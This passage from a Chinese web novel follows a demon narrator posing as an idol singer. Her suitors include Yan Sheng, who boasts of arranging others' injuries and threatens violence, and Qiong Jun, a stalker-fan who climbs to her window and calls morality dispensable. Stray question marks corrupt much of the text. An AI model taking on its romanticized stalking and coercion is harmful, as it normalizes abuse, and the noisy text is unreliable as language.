就算说出?来,也会被理解成另一种?意思?。 “对?我来说,不太好懂。” 霍亦瑀微微偏头,额前的头发因?为这个动作垂落几缕,柔和了过于锋利的轮廓,他抬手松了松领带结。 他话锋一转:“你对?黎鸶怎么看?” “他挺烦人的。” 我想了想,说:“而?且他很?自由,想做什么就做什么。” 霍亦瑀点了点头,没对?这个评价发表看法。 他的目光投向刚从衣帽间走出?来的哥哥,嘴角那抹笑似乎深了一些,带着点难以?言喻的意味:“你哥看起来,也挺自由的,每天似乎没什么要紧事,就陪在你身边,你知道他具体在做什么工作吗?” 我不知道,我只知道以?前是?男公关。 “只是?兼职。”哥哥的声音插了进来。 他站在不远处,目光平淡地扫过霍亦瑀和我,脸上?没有?笑意。 “兼职在家照顾小冬,你也是?个好哥哥啊。” 霍亦瑀说:“我还以?为像你这样的成年人会出?去闯荡,毕竟兄妹成年后就不适合同居了,迟早有?一天会分别,组建自己的家庭。” “我们就是?一个家。”哥哥冷冷地说,“不需要外人来指点应该怎么相?处。” 最后几个字,音调陡然拔高,带着明显的攻击性,在安静的客厅里显得有?些突兀。 我眨了下眼睛,转头看向霍亦瑀。 但霍亦瑀适应良好,收回手,双手在腿上?交叉,脾气很?好地说:“只是?作为旁观者的建议而?已。” “……” 哥哥看向我,片刻后,他很?轻地垂下眼帘,没有?说话,而?是?开始收拾桌上?的杂物。 霍亦瑀将话题拉回,蜡看向我:“有?想好吗?去雪乡的时?间。” “在演唱会第二次彩排后面吧,那个时?候会放几天假。” 抛开不谈,我觉得这个时?间安排十分精妙。 至于抛开了什么,不记得了。 “好。”霍亦瑀轻声道,“那个时?候……所?有?事应该也都差不多该结束了。” 电影还在制造着罐头笑声,房间里的空气却?安静得有?些凝滞,直到门铃声突兀地响起,打破了这微妙的平衡。 霍亦瑀看向哥哥,他们的目光交汇,没人说话。 哥哥转身走向门口,打开了门。 门外站着黎鸶,他依旧穿着那身仿佛长在身上?的黑色,身上?没有?任何情绪气味泄露出?来,这让我很?难精准定位他的状态。 可这人的行?为做事不像是?没有?情感的模样,所?以?他的情感到底是?什么味道? 总不能是?没有?味道的吧。 我试探性地咬了口空气里的屏幕,只尝到了酒味和柠檬味,品尝不出?第三种?,于是?飞快地放弃了。 在黎鸶迈入房间的那一刻,霍亦瑀的笑容收敛了些,但仍然没有?惊讶,只是?语气平淡地说:“你的嗅觉,还是?和狗一样灵敏,我走到哪里,你就跟到哪里,不甘心地到处添乱。” “这里不是?公司,也不是?你那套家族规矩能罩得住的地方。” “和你有?什么关系。” 黎鸶冷笑一声,径直走到我旁边的单人沙发,重重坐下,他一眼就看到我手里的袋子,眉头都没动一下,转而?问:“我送你的项链呢?” 我说:“在抽屉里。” “为什么不戴?” “不想。” 霍亦瑀的手指轻轻搭上?我的肩头,带着安抚的意味:“她?不喜欢戴项链,从来都是?如此,你送之前,难道没了解一下她?的喜好?” 黎鸶先是?将视线投向一直沉默的哥哥,然后才转向霍亦瑀,毫不在意地哦了一声:“我不在意这些,她?收下了,就够了。” 他的视线转向我,像是?在嗅闻的动物似的,不安分地窸窸窣窣。 甚至扯了下我的衣角,被我看了一眼后,他才反应迟钝地皱起眉,收回手,紧紧地交握在一起。 我的注意力在电视上?,里面的人比旁边的要有?趣得多,但耳边左一句右一句传来他们炮仗似的说话声。 黎鸶:“公司的董事们要开会,你不应该出?现在这里。” “他们可以?等着。” “你以?为你还和以?前一样,可以?想做什么就做什么吗?家族那边,他们会支持我,而?不是?你,这一次的选拔,你不会再稳握胜券。” “你是?想说,只凭借你,和那群不知道死活的人,就能够扳倒我?” 霍亦瑀嗤笑一声,又冷了几分:“还是?说凭借你那份虚假的遗嘱?” 我捕捉到了关键词,转头看向黎鸶。 他皱紧眉头,浮现几分戾气:“所?有?人都知道它是?真的。” “那是?母亲死后,专门给我立的。” 听到这句话后,霍亦瑀脸上?的温和面具终于彻底剥落,浑身骤然爆发出?一种?冰冷的、极具压迫感的气势,直直压向黎鸶:“你和你那个上?不得台面的父亲,当年就该死在那里。” 黎鸶的瞳孔骤然收缩,但他脸上?的肌肉只是?微微抽动了一下,随即扯动嘴角,毫无感情地笑了下。 “真可惜,当年那场意外没能如你所?愿,我活下来了,而?你也终于暴露了真面目,他们都知道你是?个多么自私的杂种?。” 霍亦瑀瞥了他一问,“你以?为我在乎吗?” “……” 黎鸶皱紧了眉,从牙齿了挤出?冰冷的话,“当年的事果?然是?你故意的。” 霍亦瑀轻嗤,他看向我,收回手整理下袖口:“下次吧,下次我会找个更?适合的机会。” “没有?下次了。”黎鸶紧跟着起身,“你以?为今天的董事会之后,你还能有?心情想其他的事吗。” “你可以?试试。” 霍亦瑀睨了他一眼:“合作这种?事,不是?只有?你在做。” 他说完,目光再次掠过像背景板一样立在角落的哥哥,然后才迈开腿,朝门口走去。 而?黎鸶握紧拳头,最后看了我一眼:“你的品味不太好。” 我:“?” “下次你可以?把他关在门外。” 他丢下这句话,路过哥哥,同样离开了。 哥哥立在原地,像是?有?强迫症似的,皱眉盯着沙发上?的褶皱,最后实?在忍不了,过来将它们抹平。 过了许久,手机震动,车千亦发了消息。 我看了眼手机,慢悠悠地起身:“我要去工作了。” 回答我的依旧是?一个好字。 哥哥停下手里的动作,情绪像是?掉进了黑洞,什么也没有?,我不由多看了几眼,没搞明白为什么会是?这样。 “你在怀疑他吗?” 天使在我耳边说,喃喃自语道:“我也觉得他有?问题。” “什么问题?” “他可能在模仿我。” 听到这句话,我的心情是?淡淡的。 我早知道,人和人、人和天使、恶魔和人、恶魔和天使……所?有?种?族的语言都是?不通的。 既然这样,那么看不到情绪也是?正常的吧。 出?门前,我回头看了一眼,哥哥还站在客厅中央,背对?着我,身影被窗外漫进来的天光勾勒出?一道孤直的剪影。 他站在那里,一动不动,仿佛下一秒就会化作一座雕像,又仿佛会就这样一直站到地老天荒。 地缚灵大概就是?这样。我想—— 作者有话说:明明应该一章解决的,我恨。 完结……好想快速完结……! 哥的状态叫作那个啥,解离,总之就是精神有点问题了,已经走火入魔[眼镜] 第117章 抵达演唱会排练场的时候, 我十分熟练地切换进去工作模式,全程大脑放空,叫我做什么就做什么,记住站桩的位置, 然?后再准备继续去录音。 然?后, 不速之客登场。 在我坐在椅子上, 导演在旁边讲话时,穿着花里?胡哨的颜升登场,姿态熟稔地来到我旁边,拉开?椅子落座。 导演的声音逐渐低了下去, 她看了看颜升,又看了看我,脸上露出我懂的恍然?表情, 迅速合上手里?的流程本:“啊,我想起来了,舞美那边还有点?细节要和?车经纪确认,我先过?去!” 她飞快地离开?了, 只剩下我和?颜升面对面。 许久不见,他整个人容光焕发,皮肤在排练场惨白?的灯光下居然?呈现出一种水润的光泽,眼睛亮得惊人, 仿佛刚做完全套顶级护理, 还打了十层柔光滤镜。 我盯着他看了半晌, 迟疑道:“……你最近, 是不是去做了很贵的医美?” “天生?丽质啦。”他笑嘻嘻地说,“加上最近心情特?别好,人逢喜事精神爽, 自然?就越来越好看啦。” “所以啊,人还是得每天开?开?心心才行。” 颜升摇头晃脑道:“为了让我心情愉悦,也让你的心情愉悦,我就来探班了。” “想我了吗?” 我还是对他这身仿佛能掐出水的皮肤状态感到神奇,在灯光下,简直像剥了壳的水煮蛋。 他挑眉看着我,黝黑的瞳仁里?映着一点?狡黠的光,笑得像只偷到鸡的狐狸。 “好吧,”他忽然?改口,承认得干脆,还伸手摸了摸自己的脸颊,感慨道,“最近风大天干,不精心保养着点?,万一哪里?开?裂了,多影响观瞻?稍微护理了一下,效果不错吧?” 我伸出手指,戳了一下他的脸。触感柔软,带着点?凉意,让我瞬间联想到昨晚梦里?那颗果冻般的眼球,顿时嫌弃地收回了手。 我说:“像是果冻,好恶心。” “果冻哪里?恶心了?” 颜升拖长尾音,撑着脸说:“你还没回答我的问题呢,见到我开?心吗?” “一般吧。”我看了眼他的手边,发现他什么也没带,立刻补充道,“不开?心,你什么都没带,我怎么开?心?” “我带了啊。” 他理直气壮,转头示意我看不远处休息区的工作人员。 果然?,几乎每个人手里?都拿着一杯包装精致的奶茶或一个小礼品袋,正低声交谈着,目光时不时好奇地瞟向我们这边。我看到了车千亦,她推了推眼镜,镜片闪过?一道犀利的反光。 我转过?头,问:“我的呢?” “你比所有人的都要好。” 他笑了,身体微微前倾,目光紧密地锁住我,像蜘蛛网黏住飞虫:“我知道是谁对那个总是跟在你屁股后面的人下的手了,惊喜吗?我可是花了很大的精力和?时间去查的哦,顺便?一提,我的时薪,通常是以百万为单位计算的。” 我:“?” 我:“你不如直接给我打钱,我知道是谁。” 颜升哇哦了一声,脸上绽开?一个极其灿烂的惊喜表情,语气慵懒道:“所以你知道是霍亦瑀干的,还听信了他的话,以为是我做的?” 霍亦瑀? 我眨巴下眼睛。 颜升紧盯着我的表情,像品鉴一道新奇的菜肴,慢慢品出了一点?别的滋味。 对视几秒后,他脸上的笑意淡了些?,手指无意识地蜷缩又松开?,身体朝我更倾斜过?来。 “你到底是知道,还是不知道?像他那种人,表现才是最明显的吧?第一时间赶到你身边,不就是做贼心虚?听说啊,罪犯都喜欢回到案发现场重温成就,你不觉得他来得太巧了吗?还装出一副风轻云淡的样子,差点?把你害死,他也一点?不着急。” “我真是好奇,他到底是怎么说服那个姓泉的配合的,是叫泉卓逸吧,名字我不太熟。”他忽然?格外失望地叹了口气,语气轻蔑,“你身边,怎么总是冒出这些?不知所谓的无名小卒?” “以前很辛苦吧,和?这些?人待在一起。” 颜升点?着脸颊,饶有兴趣地说:“这个泉卓逸是泉越泽的弟弟,原来小冬这么厉害,喜欢玩两兄弟,那个泉卓逸现在怎么样,让我想想……他是不是已经没法玩了?” “和?霍亦瑀这种人合作,是要做好被背叛的准备的啊。” 他意味深长地总结道,像在传授什么人生?哲理。 我点?点?头,深有同感:“你也是一朝被蛇咬,十年怕井绳了。” 就像我现在每次上车,都会下意识评估一下前后座的安全系数。 “我知道还有人参与了,”我说,“不过?不重要。” 颜升看着我,笑容加深:“不重要吗?我还认为你对那个浦真天太上心,居然?还去医院看望他。” “想去就去了。” “那为什么不去看柯觅山呢?” 他一刻不停地追问道:“因?为玩腻了,还是因?为他失去了最宝贵的东西,还没站稳脚,心气也不行,也不知道在着急些?什么,没有掂量清楚自己几斤几两,倒是叫得欢。” “我也参与了哦。” 颜升看着我,轻飘飘地抛出一句:“他的事。” 昨天麦景坦白?了,今天又来个人坦白。 我就说吧,只要坐着真相自己会送上门。 “你怎么参与的?”我问。 颜升答非所问,看向手里?:“因?为看不惯他,所以就做了,一个不停地发些?动态,生?怕别人不知道他在谁身边,那副独自陷入爱河的模样真是惹人讨厌。” “不过?还好,他退场了——” 我掐住他的脸,揪了下:“醒醒,我问你是怎么做的,没问你的心路历程。” 颜升配合地垂下眼睛,握着我的手腕,装模作样地喊疼,等我松开?手,他就抓着我的手腕不动,笑盈盈地说:“还能怎么参与,和?霍亦瑀一样,先调查他的背景,然?后找跟他有仇的人呗,借刀杀人,这一招果然?很好玩。” 最毒不过?男人心。 我也懒得搞清楚他到底做了什么,结果就是柯觅山被阴了,现在在医院里?。 “对了,这件事,我提前跟某个人打过?招呼哦。” 颜升忽然?兴致勃勃地补充,像发现了什么有趣的秘密,“不过?,他好像一点?消息也没透露给你。” “谁?” “你亲爱的哥哥。” 他故意加重了音调,随即自己皱起眉头,咂了咂嘴,像是尝到了什么糟糕的味道:“不得不说,有点?恶心,亲爱的三?个字就很好听,怎么加上哥哥就变得恶心了,是因?为哥哥本身就是个恶心的身份吧。” 我只觉得他说都啥黏黏糊糊的,自带恶心人的效果。 见我没反应,他问:“不惊讶吗?” 惊讶什么,我觉得现在颜升当?众脱衣服,我也不会觉得惊讶,反正搞不懂他们为什么要这么做。 颜升叹了口气,抚摸着我的手腕,轻轻地用力,按在我的血管上。 颜升叹了口气,握住我手腕的手指却收紧了些?,指腹按在我的脉搏上,甚至饶有兴致地将耳朵贴了过?来,温热的呼吸喷在我的手臂内侧。 他抬眼望向我,那眼神莫名让我联想到盯着鸡流口水的黄鼠狼,充满了跃跃欲试的、危险的食欲。 我见过?黄鼠狼,就是这样的。 “流着相同的血液,心跳也会一样吗?”他低声问。 哪里?相同了,我是A型血,他B型血。 秉承着科学的观点?,我建议道:“你可以去听听他的。” “我是在调情诶。” 颜升用脸颊蹭了蹭我的手背,眼睛弯起上挑的弧度:“不过?,如果真让我去见你哥……说不定我会忍不住,做出点?不好的事情哦。” “明明谁靠近你谁就受伤,他却一直安然?无恙。”他说,“这样是不是太不公平了。” 我:“你和?邛浚也可以天天待在一起。” 颜升脸上的笑容瞬间消失了,他坐直身体,露出毫不掩饰的嫌恶:“那种天生?就该待在下水道里?的老?鼠,身上不知道带着多少细菌,和?他呼吸同一片空气,我都觉得恶心。” “不过?还好,他最近跳不动了。” “为什么?” “因?为我会让他跳不起来啊。” 他笑着说:“你真该看看他的脸,被我打了一巴掌,还要在所有人面前笑出来的模样,真是可惜啊,那天给你打电话的时候,没把他弄死。” 最邢的人就是颜升,他迟早有天要进监狱,而?我可以做证。 屏幕上,红色的录音线条开?始规律地跳动。 颜升盯着那条跳动的线,低低笑了一声,他撑着脸,饶有兴致地看着我:“这是在干什么?想录下我们的甜蜜对话,以后回味?还是准备拿去给谁听?” “给法官。”我说,“给警察,你迟早要坐牢的。” “怎么会,我要待在小冬身边,哪都不去。” 我的心情淡淡地便?秘了,这种话真的可以从一个人的嘴里?跑出来诶,录下这种话,手机的分量也变得沉重了。 颜升反而?跃跃欲试,越来越精神:“我想好了哦,要努力待在小冬身边,这段时间里?,忙得没有时间去找乐子,眼睛里?只有工作,甚至还和?霍亦瑀合作了。” “你看到了吗?新闻。” 他说:“捏着鼻子合作一把,我的努力你可以看到吧。” “能下定这种决心,我真的很爱你。” 颜升坦然?地说:“想和?你待在一起,看到你身边有人就忍不住生?气,每天心情像是过?山车,时而?高?兴,时而?难过?……这段时间的心情,是我二十几年来从没有感受过?的。” “如果这不是爱,那是什么?” 他身上鲜花饼的气息很浓,浓得让我闻不到其他气味,仿佛能够无穷无尽地吃到世界毁灭。 “你怎么看?” 我询问整天把爱挂在嘴边的天使?,“你觉得这是爱吗?” 天使?:“如果你能吃,那就是爱。” 就像是不同的味道,爱也是不同的。 见我没说话,颜升低下头,将脸凑到我面前,目光死死地咬住我:“等我做到了,我也应该获得同样的情感,如果只有我一个人整天叫唤,迟早有一天会忍不住……忍不住做出点?过?分的事。” “比方说?” “把你吃掉啊。”他开?玩笑地说。 我瞥了他一眼,陷入了某种愁绪中。 人类真是越来越重口了,我不是没见过?吃人的场景,但那个时候不是同族,现在当?人类当?惯了,很难想象吃人的模样啊。 虽然?以前也不怎么看得下去。 颜升看着我,笑着改口:“你吃掉我也可以。” 不行,我是个异食癖。 我推开?他的脸,往车千亦的方向走去。 颜升拉住我的手,等我转身时,他自然?地松开?,捧着我的手放在脸上,笑盈盈地说:“可以打哦,大家都知道我们的关系。” “今天可以吗,我想去你家。” 我真就甩了他一耳光。 他的头偏了一下,随即又转了回来,脸上迅速浮现出一个清晰的红色指印,他用手指碰了碰那处红痕,非但不恼,反而?笑得更灿烂了,仿佛那是什么值得炫耀的勋章。 然?后,他直起身,朝不远处那些?目瞪口呆、假装忙碌的工作人员挥了挥手:“大家好好工作!一定要珍惜我的心啊。” 他的声音回荡开?来,周围的视线如同受惊的鸟群般迅速散开?,陷入一种诡异的安静。 颜升这才低头看我,好脾气地、甚至带着点?纵容地说:“我知道,这只是我们之间的情趣嘛。” “不会对霍亦瑀做,但对我做,这算不算是偏爱?” 他弯起眼睛,手指划过?脸上的红痕,黑沉的眼睛盯着我,“下次,我会主动上门的,无论你做什么,我都会来到你身边。” 他转身,哼着不成调的曲子,脚步轻快地离开?了排练场。 过?了一会,车千亦来到我旁边,将手里?的台本递给我,扶了下眼镜,颇为沉重地叹了口气:“下次可以叫我,或者,我可以发消息给霍亦瑀。” “没有下次了。” 我说:“我有预感,下一个人就是他了。” 此时,距离演唱会还剩20天—— 作者有话说:哎哟喂,我一定要在元旦完结……窝要奋斗!!! 有点颓了,但是挺住! ps:这个鲜花饼真的想踹飞 第118章 像我这样的站桩假唱歌手, 工作起来也?是很?消耗心?力?的。 首先得记住舞台上那几个发光的小圆点,然后要全程摆出沉浸式的表情,看着伴舞老师们挥汗如雨、激情澎湃,仿佛他们燃烧的生命力?能通过空气传染给?我。 最?后, 在导演喊卡的瞬间, 和大家相互鞠躬, 说一句大家辛苦了。 哎,工作真是累人啊。 回家后,我躺在沙发上,对着不停冒出的各种财经新闻感慨。 “这就是工作的滋味, 你看到了吧,我在这个世界可是很?努力?地活着。” “辛苦了。” 脑子里的声音淡淡的响起。 “在你回来之后,我们就可以?离开时空裂缝了。” “嗯。” “但需要注意的是, ”他顿了顿,似乎在做某种风险提示,“那些存在可能会追踪而来,此外, 有一件事?,我认为有必要告知你。” “什么??”我有种不好的预感。 “你的窝被炸了,第186834次。” “?” 我应该感到惊喜吗?毕竟那地方早就是一片废墟,再轰炸也?还是废墟。 不过, 我摸了摸身下柔软的沙发触感, 还有周围各种摆设, 心?中不由生出点不舍。 这里可比我的废墟好太?多了, 真的,如果要离开的话,要回到贫穷状态不说, 家还被装了定?时炸弹,谁路过都可以?炸一次。 天使似乎感应到我的情绪,罕见地主动提议:“下次,我可以?尝试在天堂维度为你申请一处固定?居所,那里有准入限制,相对安全。” “有人就住在天堂好吧!” 我想起来了,这个家伙也?炸过我的家,于是佯装屏蔽他,他说啥都不回复。 房门传来钥匙转动的声音。 哥哥回来了。手里提着几个超市购物袋,头发和肩头都被雨水打湿了,几缕黑发贴在额角,显得有点狼狈,外面又下雨了,是个沉闷的阴雨天。 他最?近似乎又开始忙起来了。 我移开视线,继续盯着电视里哭天抢地的主角。 等他换了衣服,在厨房里一阵叮当作响,做好饭后,我们面对面坐在餐桌旁时,我才注意到,他身上又起了变化。 不是那种情绪爆发的黑雾弥漫,而是更凝实、更诡异的一种状态。 稀薄的黑气如同湿冷的烟雾,缭绕在他周身,尤其?集中在面部,让他的五官显得有些模糊。 隐约可见下半张脸挂着若有若无的、惶惶不安的笑意。 说实话,有点渗人。 我百无聊赖地咬住筷子,问:“怎么?了?” 他沉默了几秒,声音压得很?低,像是怕惊动什么?:“今天……我遇到颜升了。” “他告诉了我一件事?。” 哥哥低声说:“小冬,为了找我,去过男公?关店。” “对啊。”我说,“还点了一个像你的男公?关。” “我很?高兴。”他忽然说道,放在桌上的手指捏紧,青筋腾起,重复道,“我真的很?高兴——” “只是以?前的事?而已。” 我放下筷子,对满桌只吃了几口的食物说:“辛苦你收拾了。” 哥哥顿在原地,愣愣地不动。 我看到那些缠绕他的黑雾剧烈地翻腾了一下,又猛地向内收缩,然后再次逸散,如此反复,像信号不良的老旧电视机画面,卡顿、掉帧,不断循环。 抽油烟机坏了就是这样的。 我不由多看了几眼,然后迅速地溜回了卧室。 窗外,雨声哗啦啦地响着,没完没了。 我躺在床上思考该怎么?带点土特产回去,因为我的灵魂在这幅人类的躯壳里,按理?说是不能带走有实体?的东西,但如果动用一点能量,也?不知道能不能带个沙发走什么?的。 但是在时空裂缝里,会碎掉的吧。 那带点短剧呢?我先一口气把所有的短剧看了,以?后就在脑子里高清重播。 说干就干!我摸出手机,决定?今晚不睡觉,进行一场短剧马拉松。 看的什么?不知道,反正声音挺响的。 今天的天使话很?多,孜孜不倦地、不知疲惫地在我的脑袋里说话。 我假装把他屏蔽了,他也?能镇定?自若地讲出一大堆话,一个劲地说房子的事?,说天堂可以?建房子,如果不行,他知道一个没人知道的地方。 其?实,我不想去别的地方。 那片废墟一样的窝,到最?后我还是会住在那里。 我是一个恋旧的恶魔,就算它?再烂,也是我从出生起就居住的地方,是母亲传给?我的,她死了很?久,所以就变成我的家。 然后经过多次轰炸,成了废墟。 手机震动了一下,弹出新消息。 [邛浚(保持警惕)]:晚上好,哎呀,打喷嚏太?频繁,肯定?是因为你在想我 [世界第一恶魔大人]:原来你还活着 最?近没发消息,我还以?为他被颜升给?整死了,自从那天之后,颜升时不时给?我送东西,并?且带上排练的所有人,坚持每天送花,附带一张让我把他拉出黑名单的卡片。 我才不嘞,这人吵翻了天,我才不要把他放出黑名单,如果可以?的话,还要物理?给?他消音才行。 再看列表,唯一几个能发消息的,只剩下朋友群、邛浚和宗朔了。 我和麦景从不会在手机上聊天,因为他是只需要想着我就能活下去的存在,光靠想象就能脑补出相处,所以?完全不需要用对话来维持情感。 以?前我怎么?没发现,在天台的时候,还想着每日维持情感,天天都在打卡。 [邛浚(保持警惕)]:我说了诶,我是打不死的小强 [邛浚(保持警惕)]:最?近的确遭了好多毒手,已经好久没有这么?痛过了 [邛浚(保持警惕)]:不过我会还回去的 [世界第一恶魔大人]:这就是转行的下场 [邛浚]:谁说我转行了?我还在送外卖呢 [邛浚]:(图片)(图片) 第一张是他的自拍。背景一片漆黑,只有手机屏幕的冷光打在他脸上,照得肤色惨白,但那笑容依旧清爽,能看清他脸上那几颗标志性的痣。 第二张拍的是他的小电驴,停在某个看起来荒草丛生、地面湿漉漉的地方,旁边似乎有晃动的、反射着微光的水波。 一看就不是什么?正经送餐地点。 [世界第一恶魔大人]:脱富返贫的概念 [邛浚]:哎呀 [邛浚]:你不觉得这里很?眼熟吗? 我再次点开这张照片,没看出来哪里眼熟了。 有些人能通过一片叶子判断出树的品种,通过一道影子推断出经纬度,而我,能通过邛浚的照片,确认他脑子大大的有坑。 之后他没再发消息。我重新埋进被子里,沉浸在短剧的世界里,享受着空调的恒温暖风,和窗外淅淅沥沥、永不疲倦的雨声。 客厅的灯不知何时熄灭了。房门缝隙下透进的光,归于一片黑暗。 但柠檬气息却始终萦绕在卧室门口,不曾散去。 哥哥是一只地缚灵。 我的视线从黑漆漆的门缝移开,重新聚焦在发亮的手机屏幕上。 “咚。” 我揉了揉耳朵。是幻听? “咚。” 又一声,比刚才清晰些,似乎来自……窗户的方向。 我转过头。 落地窗的玻璃外,紧贴着一个人形的、被拉长?的黑影。 那黑影甚至举起一只手,正在朝我这边愉快地挥动。 对,没看错。就在窗外。 因为我向来没有拉窗帘的习惯,所以?此刻,那个紧贴在玻璃上的身影,连同他脸上那抹在夜色中依旧清晰可见的、带着点恶作剧得逞般窃喜的笑容,都无比清晰地映入了我的眼帘。 我努力?动了动鼻子,空气中,那股顽固的柠檬味之下,一丝熟悉的可乐味终于艰难地钻了出来。 几乎同时,手机屏幕亮起。 窗外的人举起手机,给?自己打了个光,照亮一张笑着的脸。 大半夜的,邛浚送外卖送到我窗边了。 我走过去,打开窗户,一阵寒气涌入房间,雨丝淅淅沥沥地吹到脸上。 他就在窗外,踩着一个看起来不怎么?稳当的梯子,身上湿漉漉的,连卷曲的头发都耷拉着滴着水,手里还拎着个美团头盔。 他吐出一口白雾,抬手对我比了个耶。 我低头往下看。 他这梯子不知从哪弄来的,架在后院的草坪上,顶端正好够到我二楼卧室的窗沿。 看样子,他是翻过了后院的铁艺栏杆,然后吭哧吭哧把这梯子搬过来,上演了一出惊喜的戏码。 “我没点外卖。”我说。 “今天是美团神秘活动,最?佳五星骑手亲自给?你送午夜暖心?陪伴的福利!” 邛浚笑嘻嘻地撩开湿漉漉的卷发,露出光洁的额头,脸上的两颗痣随着笑意上扬,“Surprise!” 送外卖还只送陪伴服务,好没用。 我疑惑:“你到底是来干嘛的?” “哎呀。” 他熟稔地叹了口气,表情却依旧明亮:“来看看你呀,好久没见了,你是不知道,颜升那家伙最?近跟得了狂犬病似的,见谁咬谁,居然还跟人合作上了,神神秘秘不知道在憋什么?坏水。” “为了防止我哪天被阴死了,我觉得有必要来见你一面。” 他捧着脸,背对着月光,瞳仁大得有点瘆人,换上一副委屈的语气:“上次偷偷去见你,我还被抓住了,被踢出私生群了,你敢相信吗?我可是管理?员诶,竟然被踢出去了。” 私生群里全是内鬼,到底有几个正常人。 “我怀疑其?实是颜升要做什么?,你就做什么?。” 我十分犀利地指出了关键点:“你们总是一前一后地来。” “他模仿我。”邛浚强调。 “但是,最?近你是后来的。” 他眨眨眼睛,意味不明地说:“你怎么?知道他之后不会来呢。” 话刚说完,他就猛地打了个喷嚏,声音响亮,他把头埋进同样湿透的臂弯里,闷闷地哎呀了一声,肩膀微微发抖。 “在雨里淋了好几个小时了……我可能真的要生病了,看在我这么?凄惨的份上,不如让我进去吧?外面好冷,我一直在发抖诶。” “不要。”我伸出手指,准确地点在他的额头上,把他试图凑近的脑袋推远,“不准脏东西进我的房间。” 邛浚乐呵呵地说:“对,颜升绝对不许进来。” 他打个喷嚏,整个人晃动不稳,好半晌才恢复平衡,懒洋洋地扒在窗框上。 我打量着他和他脚下那个摇摇晃晃的梯子:“你从哪儿搞来的梯子?” “一直搬过来的,从江边的小路开始搬,一直搬到这栋别墅哦。” 他得意地说:“没有路也?让我开出一条路了,只可惜我的美团5号,它?可能要报废了。” 断断续续的雨丝飘进房间,打湿了窗台,我抬手想关窗,邛浚却眼疾手快地按住了窗框。 “再看一会儿嘛,”他的声音低下来,带着点潮湿的、近乎恳求的意味,“看在我这么?努力?的份上,多待会嘛。” 呼吸拂过我的掌心?,温热,带着雨水的潮气,他轻轻用冰凉的鼻尖蹭了蹭我的手掌心?,微凉,像是狗的鼻子。 房间里没开灯,只有远处江面上船只的零星灯火。 城市的光污染在天际晕染出一片模糊的亮光,不远处江泛着波光,细雨的涟漪淹没在滚动的江水里。 我靠在窗边,撑着下巴看外面已经看腻的景色。 “觉得无聊吗?”邛浚问。 我点点头,老神在在地说:“最?近身边没死人,安静得很?过分。” “快了。”他说,“下一个很?快就来了,就算你什么?也?不做,他们也?会打起来,然后闹到最?后……我完美地成为胜利者。” 他顿了顿,忽然改口道:“就算不是胜利者,也?无所谓。” “这种情况,很?难获胜的啦,活着就是万幸了,我只需要活下来就好了,祈祷吧,我能活到最?后。” 他闭上眼睛,像是许愿似的双手合十。 我吹了口气,将他的眼睛吹开。 我:“你的愿望已经被我许了,哼哼哼。” 我竖起食指,在他面前左摆右摆,黑暗中看不太?清他的表情,只能看到他又弯起了眼睛。忽然,他张口咬住了我的指尖。 我赶紧抽出手,作势要推他的梯子:“你再乱动,我真把你推下去。” 邛浚立刻举起双手做投降状,头盔差点滑下去:“别推别推!推下去我可能就要像泉卓逸一样,变成番茄酱了!” “这才二楼。” “差不多嘛。”他笑嘻嘻地稳住梯子,“被你哥发现的话,不就会变成番茄酱吗。” 我吸了吸空气中无处不在的柠檬味,撑着脸颊,望向窗外。 江对岸的高楼大厦霓虹闪烁,将本就阴沉的天空映照出一种不真实的、朦胧的亮光。 才多久,就要看腻了,果然还要自然风光才对……都怪颜升,我原本可以?拥有私人会所的! 说到私人会所,哥哥还没和我一起去过。 “人真是很?难懂。”我感慨道。 邛浚:“我很?好懂啊。” 他撑着头看着我,嘴边习惯性地上翘:“既然其?他人那么?难搞,那不如来玩点简单的,反正世界就是这样,乱七八糟的,我懂你,你懂我,多轻松。” 我摇头:“不行,事?关原则。” “原则?道德?还是法律?” 邛浚忽然叹了口气:“其?实这种东西不重要啦,只要丢掉就可以?了,包袱太?重,飞不高的。” 他忽然想到什么?,在湿漉漉的口袋里摸索了一阵,掏出一个金属物件,按了好几下,才“咔嚓”一声,蹿起一小簇摇晃的、橙黄色的火苗。 跳动的火光瞬间照亮了他小半张脸,他抬起眼望着我,脸上还挂着雨水的痕迹,“其?实是打算给?你放烟花的,但是在开车过来的路上掉进江里了,真是运气真差,不过还好,打火机没丢。” “下次一定?给?你放,放最?大最?亮的。” 火苗被窗外的风吹得猛烈摇晃了几下,然后,噗地熄灭了。 邛浚可惜地咂咂嘴:“还没装够三秒钟呢。” “很?快就可以?有趣起来了。” 他顿了下,忽然加快语气说:“如果你信我,不久之后,霍亦瑀应该会说有一个宴会,你就跟着去。” “放心?,”他补充道,眼睛在黑暗里亮得惊人,“不会伤害到你的,我保证。” 在他准备后退、顺着梯子爬下去的时候,我忽然伸手,一把抓住了他被雨淋湿后更加卷曲的头发。 邛浚哎呀一声,摸着头,委屈地看着我。 我认真地说:“你别死了。” 不知道为什么?,最?近总有种预感,这些人像下饺子似的,排着队想在我这里留下点什么?深刻印象。 而邛浚,我深刻地怀疑,他是那种憋到最?后,一定?要搞个惊天动的类型。 邛浚愣了下,随即笑了起来,几乎看不到眼睛,他将头盔戴上,朝我摆摆手。 然后,他动作利落地转身,一级一级退下梯子。 黑色的身影落到草坪上,再次朝窗口挥手,我看到他轻松地翻过湿滑的院墙,然后骑上他那辆在夜色里看起来歪歪扭扭的小电驴。 车头灯划开黑暗,沿着来时那条黑黢黢的、根本不存在的小路,晃晃悠悠地驶远了,尾灯很?快消失在雨幕和树影深处。 果然,别墅区的安保没有预料到会有人走水路和泥地。 在他离开之后,万籁俱寂,只剩下雨声,一种奇异的、蠢蠢欲动的冲动,突然从心?底冒了出来。 我在床上打了个滚,决定?做点坏事?。 但现在能千里送炮的只有一个人。 大半夜的,我给?宗朔拨通了电话。 响了一会儿,电话接通了,对面传来含混不清、充满睡意的声音,还带着被吵醒的不满:“……喂?怎么?了祖宗?大半夜的,天塌了?” “我需要你来我家。” “……现在?” 随即传来窸窸窣窣的布料摩擦声,听起来像是在摸索着起床。 但紧接着,我听到他似乎是打了个哈欠,声音里透出的疲惫感几乎能穿过电波。 那股刚刚升起的、想做坏事?的冲动立马就泄气了。 “算了。”我倒回床上,改口道,“你不用来了。” 窸窸窣窣的动静立刻停了,宗朔在电话那头冷笑一声,带着浓重的鼻音:“大半夜的,想不起别人玩了,就开始玩我是吧?” 我理?直气壮:“因为只有你了嘛。” 其?他的不是变成残疾,就是已经不存在了。 宗朔嘟囔了一句含混的脏话,又打了个长?长?的哈欠,声音清醒了一点:“所以?谁又干什么?了,让你大半夜睡不着想玩点老货了?” “没干什么?。” 